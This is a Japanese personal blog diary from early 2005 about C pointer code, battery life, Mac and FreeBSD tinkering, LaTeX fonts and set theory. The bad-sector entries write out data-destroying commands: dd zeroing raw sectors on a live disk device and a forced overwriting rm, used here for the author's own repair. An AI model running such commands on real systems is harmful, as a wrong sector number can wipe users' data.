            for (j=0;j!=i;j++)   /* 途中まで確保した分を解放 */
                free(lines[j]);
            free(lines);         /* 「配列」自体も解放 */
            return(-1);
        }
        strcpy(lines[i],buf);    /* 実際にコピー */
    }
```
もちろんこれでは面白くもなんともないのですが、実際には上記処理を行う部分を関数としまして、lines が確保した領域を引数の副作用として得るインターフェースを考え、戻り値は行数という仕様にしたのです。
```
    int getline(FILE *fp,char ***plines)    /* 戻り値は行数 */
```
これで星三つの完成です！！(^^。
いやはや、あえて分かりにくくしただけという感じもするのですが、こんな意味不明なことはやめにして次のような、
```
    char **getline(FILE *fp,int *plinecount)  /* 戻り値は「行全体配列」 */
```
常識的なインターフェースにしなかったのは、ねたのためだというのは絶対に内緒なのです(^^。

2005年2月9日(水)

おうちに帰る
すみませんこのねたばっかりで(^^。
今 16時ですがやっとこ帰れそうです。なんとか第一の難関突破です(^^。でもこれから 3月中旬までさらに苦しそうなスケデュールが待っていたりします。

2005年2月8日(火)

またまた会社に泊まり～
いやはや、ほんとに忙しいこって(^^。

2005年2月7日(月)

激減してたオキシライド乾電池
いや～、電池の持ちの話ではなく、本日マウスの電池入れ替えとなり、20個まとめ買いした電池の残個数をを確認したら 10個しか残っていません(^^。むむむのむ、どうしたのだろう。私の記憶ではオキシライド電池使用の履歴は、
最初にマウスに入れた 2個
モカちゃんのゲーム機用にあげた 2個
本日マウスのを交換した 2個
で 14個残っているはずなのです。ふむふむ、これはモカちゃんが怪しいですな(^^。
そこで本人に確認したところ、案の定
あっ、言うの忘れてた。ゲームに使ったよ(^^。
ということでして、「別に使っても良いので、使ったらちゃんと忘れずに言うこと」「お願いだから最後の 2個は残しておくように」と話をしたのでした。
大量買いした心配としては、あんまり長期間置いとくと劣化が進むのではないかということなのですが、こんな調子ですとその心配はなさそうです。

2005年2月6日(日)

とっても長持ちオキシライド乾電池
1月19日から使いだした、 Apple の無線マウスでのオキシライド乾電池ですが、本日寿命を迎えたようです。
日数を計算すると 18日半位。先月から今月にかけては徹夜があったり、土日出勤が多かったり、マウスを使う頻度はいつもより多かったと思うのですが、存外長持ちしました。
買った時おまけに付いてきたリチウム電池が約 21日持ちましたから、大体その半分で 10日位かな～、と思っていたのですが、やや劣るとは言えそれに匹敵する寿命があるようです。

オキシライド乾電池は、取り出せる電力も大きいそうですが、なんといっても「粘り強い」のが良いのです。リチウム電池の場合は、突然上の画像の棒が 2 つになってから、その後 2時間位でお亡くなりになったのですが、オキシライドの方は、8日目位に棒が 4つになり、「やはり 10日位しかもたないのかー。やだな～」と思ったのですが、その後棒一つが 3日位持つのですよ！！(^^。
さらにこの電池の場合、継続的に中程度の電流が流れるより、ストロボのように大きい電流が瞬発的に発生するパターンに強いらしいのです。光学マウスの場合、通常は待機していてほとんど電力を消費せず、動かしたとき下の赤いのがぱちぱち点滅し瞬発的に電力を消費すると思われるので、用途としての相性も良いのかもしれません。
ということで、16個とか 20個単位で購入すると一個 80円位なので、2個で 18 日もつとすると、一月と一年間の経費がおのおの

期間算出式金額

一月 ((365/18)x160)/12 270円

一年間 (365/18)x160 3250円

となりまして、一時は月の経費が 500円を超えるかと心配したのですが、なんとか許容範囲に収まったようです。
＃現在棒一本警告モードで動作中。これも三日間持つとうれしいな(^^。

2005年2月5日(土)

近況報告
今日も明日も会社だったりします(^^。今月いっぱい週ごとの納期がある感じで、いやはや忙しいものです(^^。最終的に今月の最終日が山なので、残念ながら 2月28日のイヴェントは断念です。

2005年2月3日(木)

AH-K3001V ファームヴァージョンアップ
京セラのページによりますと昨日ヴァージョン 1.7が公開されたそうで、さっそくダウンロード・インストールしようとしたのですが、おうちの PC は比較的新しいので、USB のドライバーが入っていなかったりしました(^^。仕方が無いのでAH-K3001V を買った時の箱から CDROM を取り出しまして、ドライバーのインストール自体は問題なく終了したのです。ただし、ドライバーをインストールするたびにいちいち CDROM を取り出すのはとっても面倒でして、別に他の用途に使える訳でもないのだから、ネットに置いとけばいいのにと思っているのは、私だけではないと思います。
ハードウエアーもうまく認識されたので、さっそくインストールの開始です。ところでこの PHS のファームウエアーをアップデートする場合、789キーを同時に押しながら電源を入れるのですが、これが案外難しくて一回空振りしてしまい、普通の画面が出てしまったりしたのです。安全性を考えて、三つボタンを押しながら電源を入れるというのはそんなに悪くないと思うのですが、もう少し押しやすいキー配置にしてもらいたいものです。
やっと準備が整ったので、ファームウエアーのアップロードを開始したのですが、
15% 位進んだところでアップロード用のプログラムが固まりました(-_-)
といいますか、ちょっと別のウインドウを上に乗せて、それをどけたら、なんとびっくりアップロードプログラムのウインドウがのっぺらぼう(笑)。
むむむっ、これは最悪持ち込み修理扱いかいなと思いつつ、もしかして画面の更新だけがうまくゆかないだけで、通信だけは行われているかも知れないと考え、アップロード終了する予定時間の 20分位待ってから USB ケーブルを抜いたのです。その後、はてさて電源を入れ直して起動するのかとはらはらしながら電源を再投入したのですが、幸いにして待ち受け画面が表示されました。そこで、ひょっとして「こっそり」通信が行われて、ヴァージョンも新しくなってれば良いな～と思って、自宅のサーバーに接続してログを見たのですが、古いヴァージョンのままでした(^^。
というわけでもう一度最初からやり直したのですが、こんどは、
途中で PC が省電力休止モードになって失敗しました(笑)
いやはや、最近の PC は 15分位で休止モードになる設定も多いと思うのですが、それを禁止する API を一時的に発行するわけではないようです。さらにやり直すとこんどは 99%までいったところで、必ず失敗すると言う...。いちおうちゃんと起動し、そこそこ動作しまして、さらにヴァージョンも上がっているようなので、特に問題ないとは思うのですが、今回のヴァージョンアッププログラムに関してはイマイチ感があったりするのです。
＃使い勝手はほとんど変わらなかったりします(^^。

2005年2月2日(水)

ヒラギノフォント埋め込み PDF
最近は LaTeX+Omnigraffle による文書作成にはまってるのですが(OmniOutliner も信じられないほど役に立ってるし...)、いやはや見栄えのことを気にし出すときりがないもので(^^。もちろん私には独力で見栄えの良い文書を作る能力はないのですが、LaTeX の良いところは、論理構造をきちんと記述すれば、自動的にちゃんとした見栄えの文書が出来上がることであることは、周知の事実であると思います。
現在は、
platex + dvipdfmx
を TeXShop 上で動作させ、暗黙に dvi ファイルを作成し、表面上はすぐに PDF ファイルが出来上がる環境なのです。ところで一つだけ問題がありまして、色々手を加えればなんとかなるらしいのですが、何も考えずに上記の方法で作った PDF ファイルには、一部分を除いて「ヒラギノフォント」埋め込み情報が書かれていないのです。
つまり、PDF 内のフォント情報としては、Rymin-Light 等のフォントを使用する情報が書かれるのです。Rymin-Light 等は「モリサワ書体」と言いまして、プロ用の非常に高価なフォントの名称なのですが、実質上スタンダードなフォントファミリー名称になっており、例えば Mac OS X ではヒラギノフォントに置換され、これは全く問題ないのですが、Windows に持っていって印刷すると (会社の一番品位の高いプリンターは PDF として一度 Windows に持ってかないと印字できない)、Rymin-Light の部分が「MS 明朝」とかに置換されてしまうのです。
まあ昔でしたらこれで何とも思わなかったに違いないのですが、ひとたび「ヒラギノフォント」の洗礼を受けると、これまたとっても不愉快なのですよ！(^^。
そもそもこのフォントは、人様から聞いた話によりますと、「ヒラギノフォントを買ったらおまけにマックが付いてきた」という位の高品位なフォントでして、ひとたびこのフォントで文書を作成すると、もう元へは戻れません。
というわけで難しい設定をしないで、ヒラギノフォント埋め込みの PDF を作る方法を探していたのですが、言われてみれば、実に簡単な方法がありまして、
preview なり TeXShop から PDF として(ファイルに)印字する
とうあたりまえの方法があったのです(^^。もちろん、この方法で PDF を作成すると、フォントを埋め込むオーバーヘッドにより、ファイルサイズが倍以上になるのですが、実際に印字する頻度はそんなに多くなく、さらに自分が使う分と最終版が「ヒラギノ」になっていれば特に問題がないので、少々の手間とサイズの大きさは我慢できます。
いやはやそれにしても、本当は Mac をちょっと GUI が良い BSD として使うはずだったのが、いまやどっぷり GUI 側に引っ張られていて、さらに見栄えにこりだしたという、なんとも皮肉な状況なのです(^^。

2005年2月1日(火)

大成功した不良セクター修復(^^
というわけで(下の記事参照)、やはり dd で実験してみないと気が済まなくなり、無謀にも稼働中のシステムで不良セクター退散の実験です。鬼はーそと～。さすがにこの作業は念には念を入れ、/usr/BAD/ の ls の結果(ファイル名がちょうどセクター番号になっている)を利用して、下記のシェルファイルを作成です。
```
  #!/bin/sh
  /bin/dd if=/dev/zero of=/dev/rad0s1g bs=512 seek=52636000 count=4
  /bin/dd if=/dev/zero of=/dev/rad0s1g bs=512 seek=52636004 count=4
  ...
  /bin/dd if=/dev/zero of=/dev/rad0s1g bs=512 seek=52636252 count=4
```
もともと不良セクターは 3つしかないと思われるのですが、256個のセクター内に断片的に存在するので、念のためにその周辺も badsect の対象にしておいたのです。さらに count=4 となっているのは、ファイルシステムを作成した時のフラグメントサイズが 2048 に設定してあり、そのサイズを最小単位としてファイルが作成されるからです。このファイルを /tmp/oniwasoto とします(おっかないので実行許可はつけない)。
```
  # cd /tmp
  # sh ./oniwasoto
```
おー、なんにもおこられない。とりあえず大成功です(^^。
さらに /usr/BAD/ 以下のファイルを全部 rm -fP したところ、こちらも全くおこられませんでした。ということは、上記シェルファイルのセクター番号指定はちゃんと合ってて、さらに代替セクター処理も大成功であったと思われるのです。
ふむふむ、さすが今は落ちぶれたとはいえ、落ちぶれる前の IBM の PC に入ってたディスク。ちゃんと復旧するものですな。ただしこの作業は私の場合あせってやると必ず失敗しそうなので、badsect コマンドとかで急場をしのいでからゆっくりと行うのがよさそうです(^^。
大失敗した不良セクター修復(^^
まだまだ忙しいのですが、今日は書き物仕事の予定だったので、三日もたまってしまった代休をとっておうちで仕事です。
ところでうわさによりますと、不良セクターが発生した場合、そのセクターに無理矢理書き込めば代替セクターが使用されるようになり、直ってしまう場合もあるということなので、無謀にも現在不良セクターを抱え込んでいる R30で実験したのです(^^。
ただ dd で直接書き込むと、もしセクター番号を間違った場合、その場ではうまくいったように見え、後でパニックを起こすおそれがあり、さすがにそれは怖いので、すでに出来上がっている不良セクターを指しているファイル群に rm -P を適用です。rm の man 抜粋↓
```
  -P          Overwrite regular files before deleting them.  Files are
              overwritten three times, first with the byte pattern 0xff,
              then 0x00, and then 0xff again, before they are deleted.
```
えいや！！
```
  # cd /usr/BAD/
  # rm -fP *
```
で、結果はと言いますと...
```
  /kernel: ad0s1g: hard error reading fsbn 108417823 of 52636016-52636019 \
     (ad0s1 bn 108417823; cn 7170 tn 117 sn 52) trying PIO mode
  /kernel: ad0s1g: hard error reading fsbn 108417823 of 52636016-52636019 \
     (ad0s1 bn 108417823; cn 7170 tn 117 sn 52) status=59 error=40
  /kernel: ad0s1g: hard error reading fsbn 108418271 of 52636240-52636243 \
     (ad0s1 bn 108418271; cn 7170 tn 124 sn 59) status=59 error=40
```
大失敗です(^^。
おのおののファイルは 2048バイトで、それぞれはフラグメント境界に存在するので、読み込みは行われないと思ったのですが、なんか読んでしまったようで (^^。さらに不幸なことにはファイル自体はちゃんと削除されていまして、結局上のリンクでやった方法で再度不良セクターをファイルに変換したのです。後で考えたらハードリンクを作成してから行えば、こんな面倒なことにはならなかったかも知れません。
ただ、この読み込みが書き込みの後ならそもそも修復は不可能ですし、最初に一度読み込んだのであればまだ望みはあるわけです。うーむやはり dd で直接セクター番号に書き込むしかないのでしょうか。悩みは深まるばかりなのでした(^^。

2005年1月31日(月)

一回休み

2005年1月30日(日)

おうちに帰る
最近このねたばっかり。昨日から今日にかけて会社の近くのホテルに泊まり働いてました。明日暫定版出荷なのですが、暫定→完璧にするため、来月いっぱい位はとても忙しそうです。
＃こういう状態だとねたも不足気味になるのが困ったところです(^^。

2005年1月29日(土)

不良ハードディスクの修復
今日も明日も会社だったりしますが、それとは全然関係ない話で、おうちの R30 は以前不良セクターが発見されたので、badsect コマンドでそれらのセクターを無理矢理ファイル化してアクセス不可能としたのです。出来上がり結果はこんな感じ。
```
total 128
evariste$ ls -l /usr/BAD
-rw-------  1 root  wheel  2048 Jul 18  2004 52636000
-rw-------  1 root  wheel  2048 Jul 18  2004 52636004
-rw-------  1 root  wheel  2048 Jul 18  2004 52636008
-rw-------  1 root  wheel  2048 Jul 18  2004 52636012
-rw-------  1 root  wheel  2048 Jul 18  2004 52636016
-rw-------  1 root  wheel  2048 Jul 18  2004 52636020
-rw-------  1 root  wheel  2048 Jul 18  2004 52636024
-rw-------  1 root  wheel  2048 Jul 18  2004 52636028
-rw-------  1 root  wheel  2048 Jul 18  2004 52636032
..
```
ところがなんとこんな方法があったのですか (^^。ということは、上記のファイル名に対応するセクターに無理矢理書き込みを行えば、ひょっとして直るかも知れないのかな。そうはいうものの、もちろん上記のファイル名に対応するファイルに上書きするのは意味がないので、 dd コマンドでデヴァイスファイルに直接書き込む必要があります。と思ったけれど rm に -P オプションをつけて消せば良いのかな。
うーむ、ちょっとやってみたい誘惑はあるのですが、やっぱり稼働中のシステムでは恐ろしくて出来ません(^^。
＃前にたかたにさんの 2.5インチハードディスクが勝手に直ったように見えたのも
＃おんなじ理由なのでしょうか？

2005年1月28日(金)

おうちに帰る
昨日とおとといは会社の近くのホテルに泊まったのですが、本日久々におうちに帰りました。やっぱりおうちはいい！！(^^。でも明日とあさっても仕事しないと間に合わない感じで、まあこんな状況がしばらく続きそうです。

2005年1月27日(木)

激安ラジコンカー
二女が携帯用の mini SD カードを欲しいというので、今日のお昼休みにちょいと近くの電気屋さんに買い物に行ったのですが、そのとき見かけたのが PHS でこっそり撮った下のピンぼけ写真。

いやはやこういう大きいラジコンカーは普通五千円以上すると思いますし、実際数年前にモカちゃんにスバルのインプレッサのラジコンカーを買って上げたときは、クリスマス山積み特価ということでかなり安かったのですが、それでも五千円位はしたはずです。
安い理由は車のメーカーを考えればある意味当然なのですが、こういうのの売り上げってイメージが大切だと思うので、子供にも見限られているというのはかなり辛い状態であることが推測できるのです。

2005年1月26日(水)

今日は泊まり
昨日から今朝にかけてまじに徹夜となったのですが、今日も昼間中働き(30 分位居眠りしたが)、さすがに疲れたので 20時頃に退社して、会社の近くのホテルに泊まりです。明日も夜遅くなるのとは確実なので、明日の予定も(というか予定通りいってないから) かなりしんどいので、もう一晩泊まることになりそうです。ただしこれ以上の徹夜は当然無理だったりします(^^。

2005年1月25日(火)

一度おうに帰る
どうしても明日の朝までに仕上げる必要のある仕事があって、さらに明日からは会社の近くのホテルに泊まってかなりの量の作業を行う必要があったりします。なので一度おうちに戻り、着替えとかの準備をして夜から会社に戻るのです。今晩は徹夜です。いやはや...(^^。
請求書
昨日カードの請求書が来ました。もちろん PowerBook 購入の金額がメインなのですが、締めの関係か、ご家族さま PC の代金もおんなじ請求に入っておりまして、いやはや25万円を超える金額...。
それはそうと PowerBook を購入したとき店員さんから「クレジットカード会社の人が直接話したいそうです」と言われまして、「別に滞納している訳でもないのにどうしてかな～」と電話に出たのですが、高額商品でもあるし、最近カード詐欺等の被害が増えているので本人確認なのだそうです。
で、そのときの質問が「カード引き落としの銀行はどこですか」というものだったのですが、私の答えは、
知りません(きっぱり)。
そもそもあのカードは 10年以上前にマンションを購入したとき、ローンを組むために銀行に行ったのですが、そのときに勧められ、まあ借金をする負い目もあるので、いやいや契約したものなのです。今は割と便利に使っていますが、当時クレジットカードというものは、サラ金のカードみたいなものだと思っていたので気が進まなかったのです。その銀行に今も毎月ローンを支払っている訳ですが、契約した後はすべて奥さままかせだったりしたので、どこの銀行だかなんて覚えてるわけないです。銀行の名前ってしょっちゅう変わるし(^^。
あんまりきっぱりと「知らない」と答えたので、電話の女性もちょっと困ったようで、「少々お待ちください」ということで、おそらく偉い人と相談してたようなのですが、結局自宅の電話番号と生年月日を答えまして、無罪放免となったのです。
その時は PowerBook 一台でずいぶん面倒な、と思ったのですが、ご家族様 PC を買ってからあんまり時間が経ってなかったので、こんな短期間に PC 二台とはこいつはあやしい、ということで本人確認になったのだと思います。

2005年1月24日(月)

スタイル変更
どうでもよい話ですが、今まではこのページの文字サイズを特に指定していなかったのです。なので、各ブラウザでデフォルトのフォントが採用され表示されてていたと思うのですが、昨日から <head> の部分で陽にサイズを指定するように変更しました。内容は、
```
<style type="text/css">
...
body {font-size:11pt}
table {font-size:11pt}
pre {font-size:10pt}
</style>
```
という感じで、今までより若干文字が小さくなったかもしれません。このサイズにすると数式とのバランスがやや良くないのですが(数式が大きすぎる)、個人的にはぎりぎり許容範囲なのでしばらくこの状態で運用したいと考えております。
ただしきちんとサイズを指定したにもかかわらず、Safari で眺めたときと Firefox で眺めたときに、字の大きさが異なるのが謎だったりします。
本当は段落ごとの字下げも行いたかったのですが、今まで全く考慮せずに記述したので、色々と副作用が発生しまして、こちらは残念ながら断念したのです。もちろんいつもの通り記述方法は人様のまねであることは言うまでもありません(^^。

2005年1月23日(日)

最小の可測基数
[集合論雑記目次]
今回はフィルターという場合、特に注意しない場合自明でない (nonprincipal)ものとします。
前回基数 $\kappa$ をその上に $\sigma$ -完備超フィルター( $\sigma$ -complete ultra filter) $\mathcal{F}$ が存在する最小の基数とすると $\mathcal{F}$ は $\kappa$ -完備超フィルターになり、要するに $\kappa$ は可測基数となる事実のみを記載しましたが、今回は知ってしまえばびっくりするほど簡単なこの事実の証明を記述します。
まず一般に集合 $M$ 上の超フィルター $\mathcal{F}$ が $\lambda$ -交差性を満たす条件は、
[Fact]
$M=\bigcup_{\alpha<\lambda}X_{\alpha}$ を $M$ の分割とするとき、少なくとも一つの $\alpha<\lambda$ に対して $X_{\alpha}\in\mathcal{F}$
であることに注意します。この事実は一般に集合の族 $(Y_{\alpha})_{\alpha<\lambda}$ に対して $X_{\alpha}~=~Y_{\alpha}~-~\bigcup_{\beta<\alpha}X_{\beta}$ とすると
$\bigcup_{\alpha<\lambda}X_{\alpha}~=~\bigcup_{\alpha<\lambda}Y_{\alpha}\cr~{X_{\alpha}}\cap{X_{\beta}}=\emptyset~\quad~(\alpha~\neq~\beta)$
が成立することに留意して、超フィルターの性質に関する簡単な集合演算を行えば得られます。
さて $\kappa$ をその上に $\sigma$ -完備超フィルター $\mathcal{F}$ が存在する最小の基数とし、 $\mathcal{F}$ が $\kappa$ -完備でないことを仮定して矛盾を導きます。実際、その場合には $\lambda<\kappa$ が存在して $\mathcal{F}$ は $\lambda$ -交差性を満たさないので、[Fact] により次の条件を満たす $\kappa$ の $\lambda$ 個の分割 $(X_{\alpha})_{\alpha<\lambda}$ が存在します。
$\begin{array}~\kappa=\bigcup_{\alpha<\lambda}X_{\alpha}~&~\mbox{(a)}\cr~X_{\alpha}\not\in{\mathcal{F}}\quad\mbox{for~all~}\alpha<\lambda~&~\mbox{(b)}~\end{array}$
(a) により $(X_{\alpha})_{\alpha<\lambda}$ は $\kappa$ 上の同値関係を定義し、その関係を $R$ と記述して商集合を考えると、標準的な上への写像 $\varphi:~\kappa~\rightarrow~\kappa/R$ が得られ $|\kappa/R|~=~\lambda$ が成立します。さてここで $\mathcal{F}$ を $\varphi$ により商集合に移行したフィルター $\mathcal{G}\subset\mathcal{P}(\kappa/R)$ を考えると(*)、これは $\kappa/R$ 上の $\sigma$ -完備超フィルターとなり、(b)の条件により principal にはならず $\kappa$ の最小性に反します。
(*) $Y\in\mathcal{G}~\leftrightarrow~\varphi^{-1}(Y)\in\mathcal{F}$ とする。

2005年1月22日(土)

DDNS 廃止
おうちは evariste.jp なるドメインで自宅サーバーを運営しているのですが、名称解決にはアイネットディの DDNS を利用しているのです。
ところが本日なにげなくアイネットディのページを眺めていたら、
QUE::NETWORKのホスティングサービスをご契約いただいたお客様には Dynamic DNS サービス１つまでが無料となります。
とのことなのです。そういえば昔こんなのを読んだことが。でもどうして昨年末に DDNS の請求が来たのだろう(^^。不思議...。
よくよく考えたところ、自前のドメインを持ってなかった時代に、アイネットディのサブドメイン evariste.dd.que.ne.jp を利用していて、そちらの DDNS が放置状態になっていたのです。
実際には無意味に放置していた訳ではなく、evariste.jp に切り替えた当初は evariste.dd.que.ne.jp へのアクセスが多かったので、そちらも考慮していたのです。そこで最近のアクセス状況はどんな案配なのかな～、とログを調べたところ、
グーグルのキャッシュで一日一件程度(^^
しかないことが判明したのです。というわけで、お金を払ったばかりで損と言えば損なのですが、また忘れて今年の年末に請求書が来るよりは良いであろうと考え、本日 evariste.dd.que.ne.jp を廃止したのです。
余談ですが廃止の希望を連絡したところ、例のごとく 5分後に返事が来まして、「コントロールパネルから正式に廃止の要請をして下さい」とのことなので、さっそくそちらから要請を行ったところ、こんどは 10分位で「完了しました」なるメールが来まして、その時点で nslookup がドメインなしという答えを返すようになりました。いつもそうなのですが対応がとっても速いのです(^^。
デュアルディスプレイ壁紙
今日は諸般の事情により会社なのですが、ちょっと仕事に飽きてきたので、デュアルディスプレイにおける壁紙の実験です。
Windows でのデュアルディスプレイ環境では、横長の壁紙を作ると、二つの画面にちゃんと半分ずつ表示されることが分かっているので、まずは下のような (たかたにさんありがとう) 画像ファイルを作成しまして実験です。

左が外付けディスプレイ用の 1280x1024 ピクセルの画像、右が本体用の 1024x768 ピクセルの画像で、これを左右に分配するというストーリーということで、二つの元画像を pnmcat で強引にくっつけたのです(^^。でもって結果はこちら(笑)。いやはや大きい画像がクリップされて両方の画面に分配されてしまいました。これでは面白くもなんともありません。
というわけで Mac たるもの、壁紙の運用という極めて重要な用途に関して Windows にも劣るのか、と一瞬思ったのですが、よくよく画面を見るとなんと左の写真のごとく...

両方の画面に壁紙設定のダイアログが出てるではないか(笑)。
うーん最初は出てなかったのですが、いつの間に出てきたのだろう？。
いずれにしてもさすがは Mac！！。ほんとに見栄えに関して細かい配慮が行き届いているのです。というわけで一番上の絵のオリジナルを独立して設定したのが右上の出来上がり写真なのです。これはお見事としか言いようがありません(^^。

2005年1月21日(金)

PowerBook でデュアルディスプレイ
PowerBook G4 12インチに関してはほとんどすべての面で満足(満足以上かも)しているのですが、一つだけ不満があるとすれば、特に仕事をしているとき画面がやや狭い(X11/FreeBSD を使用していたときは仮想画面を使って実用上問題なかった)ということなのです。
ところがうまいこと PowerBook には標準で DVI 出力端子が装備されており、 DVI/VGA コンバーターがおまけとして付いてくるのです。さらにその機能を利用するとデュアルディスプレイも可能だそうで、本日会社におまけのケーブル (写真の本体から出ている白いの)を持っていって実験です。
Apple の宣伝によると動作しているときに外部ディスプレイを接続してもなんら問題がない、ということなので起動した後に左側のディスプレイを接続したのですが、接続して設定の画面を開こうとしたら、
マウスが本体上で動く以外は全く反応がなくなりました(笑)
仕方ないので、気を取り直してブート時から外部ディスプレイを接続したところ、こんどはうまくゆきまして、その画面が左下の写真なのです。

真ん中のモスキーちゃん画面と前の方にある黒いキーボードとマウスは、こちらも仕事でたまに使用する Windows マシンのもので、本日のお題とは関係ありません。特徴としましては、
- 右図の設定で画面のようなものを「ぐいっと」ドラッグすると左右が切り替わる。
- 一番上のメニューバーも右図の白いところのドラッグでどちらの画面に表示するか選択できる。ただし、例えば「フォーカスがある画面上に」メニューバーを動的に移動することは出来ないらしく、これはやや不便です。
- ちっちゃい壁紙をカスケードしている場合、左の写真のごとく外部ディスプレイにもそのまま表示される。
- マニュアルによると AC アダプター接続時以外は外部ディスプレイは使用不可。
あたりでしょうか。いずれにしても、おうちではそんなに画面の広さは必要ないのですが、仕事をしていると案外あっちこっちに端末や Emacs その他が散らかるので、これはなかなか便利に使えそうです。ちなみに左側のディスプレイは今まで Linux のコンソールになっていたもので、まあこちらはいつも ssh で入り作業をしているので、普段は必要がないことを見越して流用したのであります(^^。

2005年1月20日(木)

X24 の今後
PowerBook 購入後完全に放置状態となっている可哀想な X24 なのですが、ドット抜けが一つあることと、ヒンジががたがたであることを除くと、まだまだ放置するにはもったいない状態です。
今までの個人的な経験によりますと、PC というものは長時間使用しないで、しばらくぶりに使おうとすると起動しなくなっている場合が多いような気がするので、現在はクロックダウンモードで一日中電源が入っているのです。クロックダウンモードにしたのは、電気代節約のためと、自宅サーバーさま R30(これもクロックダウンで運用)の例では、その方が発熱の関係なのか長持ちするような気がするからです。
現在の X24 の用途は、
- PowerBook にコピーし忘れたファイルの置き場。
- R30 と PowerBook の主要なファイルのバックアップサーバー。
  ここで主要なファイルとは、写真・ソースコード等「無くしてしまうと復元できない」ファイルです。例えば、ソースコードから構築した実行ファイル・ CDROM から吸い上げた圧縮音楽ファイルは面倒とはいえ復元可能ですので、バックアップの対象にはなりません。またメール(これが存外巨大)に関してはどうせあっちこっちにばらまいているので、こちらもバックアップする必要はありません。
- PowerBook での Linux-i386 クロス開発環境の構築が結構惜しいところではまっているので、現在そちらの緊急用開発環境。
位しかなく、性能を考えるととてももったいない状態であることは確かです。
もちろん R30 さまがお亡くなりになったときの新規サーバーという極めて重要な使命を持っているし、出張等で Linux-i386 のクロス開発環境が必要な場合には持ち歩くことになるかも知れません。でもそのときは PowerBook と両方一緒にということになるので、とっても重そうです(^^。
うーむ、こうしてみると裏方的立場とはいえ、案外役に立っていると言えない訳でもなく、特に緊急サーバーとしての用途が大きいので、FreeBSD-5 系列に変更するとか難しいことは行わずに、当面こんな状態を続ける方が良いのかも知れません。ただし R30 と同期させて OS や ports の更新はそこそこまめに行うことにした方が良さそうです。
＃もう 2年位やるたびにうまくゆかない FreeBSD-5 系列への更新実験は、
＃もし行うとしたら一つ余っているハードディスクが良さそうです。

2005年1月19日(水)

Mac を営業
本日会社の女性がちと仕事の話で私の机のところに来たのですが、銀マックを見て、
わー、かがみさん Mac 買ったんですか～。かっこいーですね～。今パソコン持ってないから今度買おうと思ってて、ほんとは Mac 欲しいんだけど、Mac は高くって。
というお話になったのです。用途としては、インターネットアクセス・写真の管理・音楽の管理がほとんどということなので、ふむふむそれならば、と紹介したのはもちろんちまたで話題のちっちゃい Mac なのです。注意事項としては、
- 後からの機能追加を自分で行うのはほとんど不可能なので、必要なものは最初に揃えること。
- 特にメモリーは必ず 512M バイトにすること。
- 用途から考えるとハードディスクは 40G バイトで十分。
- 無線関連のオプションは予算が許すならば追加した方が後々良いと思う。
- ディスプレイは普通に市販されているもので問題ないと思うが、出来れば 1280x1024 ピクセルのものが良い。
- キーボード・マウスは純正品がかっこいいしそんなに高くない。ただし無線にしたりすると存外ランニングコストがかかる(^^。デスクトップでの使用なので有線の方が良いと思う。
等々、仕事の話そっちのけで延々講釈したのですが、どうも気に入って頂けたようで、本年度中にお買い上げの決断をなされたようです(^^。
もちろん PC を新規購入ということはネットに接続するという訳で、こちらもいくつか説明をしたのですが、この方の実家は北海道にありまして、月の通話料が二万円近くなることも少なくないということなのです。というわけで、電話を IP 化するととっても安くなるという話もしたのですが、実現すれば一年くらいで PC 代の元がとれるかも知れません。
さらに「でもかがみさんの場合 FreeBSD じゃないと困るのでは」という話が出ましたので、FreeBSD と Mac OS X の関係も延々と講釈したのですが、いずれにしましても自社の物件はともかくとして、他社物件の営業に関してはなかなか好成績だったりするのであります。
余談ですがこの方は私の営業力により「パナソニックのデジカメ」をお買い上げになられたのですが、現在肝心の PC がなくって、せっかく撮った写真を見るのに非常に不便な状況なのだそうです(^^。

2005年1月18日(火)

無線マウスの電池切れかかる
いつもの通り Apple の無線マウス (愛称「しらたまちゃん」) を使っていたら、突然画面にうっすらとマウスの絵が(^^。そうなのです。Mac の場合マウスの電池が不足してくると、警告用に半透明な絵が数秒間表示されるのです。そこでシステム情報で調べてみると、案の定下のスナップショットのごとく、限界に近い状況の様です。

うーむ、購入したのが昨年 12月25日で今日は 1月18日。ネットの情報によりますと、リチウム電池を使用した場合、普通は一月半位持つということでしたが、三週間でだめになってしまいました。もしかして使い方が普通でないのか！！(^^。
ということでこれを書いている時点ではまだ使えているのですが、今日明日中には大量に購入済みのオキシライド乾電池と入れ替えることになりそうです。こちらは、リチウム電池の半分くらいしか持たないとすると、大体十日で入れ替えとなるのですが、一個 80円なので月のランニングコストが 480円となり、いやはや思ったより高くて困ったものです。
そもそもタッチパッドが良くないのであり、あかぽっちんではデザイン上問題が多いので、銀ぽっちん仕様の PowerBook が欲しい(^^。とある場所には銀色に輝く ThinkPad があるそうなのでそんなに変なアイディアではないと思うのですが(^^。
[後記]
これを書いた後 1時間位で「電池を交換してください」のメッセージが。さらに上のスクリーンショットの電池残量が棒一つ分で赤色に(^^。今はオキシライドを使用しています。はてさていつまで持つのかお楽しみ。

2005年1月17日(月)

OmniGraffle と OmniOutliner
名古屋で O さんが使っているのを見せて頂いたのですが、二つを組み合わせるとドキュメント管理・スケデュール管理・構造化されたデーターの管理・その他種々の思考の補助としてのすばらしい道具になりそうなことを納得したのです。これらは PowerBook のおまけにちゃんとしたライセンス付きで入っているのですが、Version 2 系列ということで、これもなかなか便利なのですが、特に OmniOutliner の方は、ファイルや URL にリンクが張れないとか、機能的にやや不満があったのです。
というわけで、本体のおまけからでもアップグレード可能というのにもつられて、本日両方とも Version 3 系に入れ替えたのです。最初、シリアル番号もないのにどういう手続きをするのだろうかと不思議だったのですが、ハードウエアーのシリアル番号(とクレジットカードの番号^^)を入力することにより Version 3 のライセンスキーがメールで送られて来たのです。
気になるお値段ですが、
```
--------------------------------------------------------------------------
OmniOutliner 3 License - Upgrade from version 2 / $19.95 / 1 / $19.95
OmniGraffle 3 License - Upgrade from version 1 or 2 / $24.95 / 1 / $24.95
Subtotal: $44.90
Sales Tax: $0.00
Order Total: $44.90
--------------------------------------------------------------------------
```
ということで、両方で 5,000円程度というこれまた絶妙なる価格設定で、ちょっと不便なヴァージョンをバンドルするという作戦にまんまと乗ってしまったのです(^^。
単に内部ファイルや URL のリンク集を作る(例えば PDF ファイルにリンクすればその項目のクリックでファイルの内容を表示できる)だけでも便利で、今日はあっちこっちに分散しているドキュメントの一覧を作成したのですが、残念ながらまだ本格的に使いこなす段階に至っていません。今後使いこなした段階で詳細のレポートを行いたいと考えています。

詳細を隠したところ
詳細も表示

こんな図に変換したり
それともこんな図

＃どのくらい役に立つかはまだ不明ですが、上図のごとく OmniOutliner で書いた
＃構造化されたテキストを、OmniGraffle に読み込ませると、
＃その構造が図形化される機能に血迷ったかも(^^。

2005年1月16日(日)

モカちゃん豚の解剖をする
